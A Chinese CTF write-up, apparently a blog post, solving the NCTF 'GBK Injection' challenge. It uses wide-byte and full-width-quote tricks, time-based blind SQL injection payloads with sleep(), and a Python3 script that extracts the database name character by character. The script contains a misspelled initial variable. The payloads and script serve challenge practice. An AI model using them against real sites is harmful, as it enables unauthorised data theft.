NCTF之GBK Injection另一种宽字节注入解法

0x00题目:

your sql:select id,title from news where id = '1'
here is the information

0x01以前的题解是使用%df加上单引号,通过宽字节注入。另外#被转移,故使用%23代替#绕过。

但是今天我做的时候,发现另一个payload也可以:

payload:  1’',此处第一个单引号是中文的  ‘,第二个单引号是英文的 '   页面返回如下:

可以看到单引号没有被转义,因此可以通过中文单引号构造payload

我比较喜欢使用延时注入,无论有无回显都能用,缺点是耗时长。

查数据库长度:

index.php?id=1‘'||if((length(database()))=1,sleep(5),2);%23

爆出来数据库长度14.

然后爆数据库名:

‘sae-chinalover’

0x02

此处给出爆数据库名的python3脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import time

#get型时间盲注
def http_blindTime_get(url,payload):
    #记录发包时间
    starttime = time.time()
    result = requests.get(url+payload)
    #记录收包时间
    endtime = time.time()
    if(endtime-starttime<3):
        return False
    else:
        return True
#get方式获取数据库名,攻击载荷需修改函数变量构造
def getDatabaseName(url):
    #先获取数据库长度,推测不会长于16个字符,故range 0,10
    #逻辑为当数据库长度正确时使数据库休眠5秒,故当收发包时间差大于3s时break
    batabaselength = 0
    for i in range(0, 15):
        payload = "index.php?id=1‘%27||if((length(database()))="+str(i)+",sleep(5),2);%23"
        if http_blindTime_get(url,payload):
            databaselength = i
            break
    print('数据库名长度:',str(databaselength))
    if databaselength==0:
        return False
    else:
        #获取的数据库长度不为0,表明成功获取数据库长度,爆数据库名
        databasename=""
        for i in range(1,databaselength+1):
            for j in range(1, 128):
                payload = "index.php?id=%df' or if((ascii(substr((select database()),"+str(i)+",1))="+str(j)+"),sleep(5),0);%23"
                if(http_blindTime_get(url, payload)):
                    databasename += chr(j)
                    break
        print('数据库名:', str(databasename))
        return databasename

def main():
    url="http://chinalover.sinaapp.com/SQL-GBK/"
    getDatabaseName(url)
if __name__ == '__main__':
    main()

其余表名、字段名及flag同上可爆出来。

效果如图:

当然,本题还有其他办法。直接使用union select即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值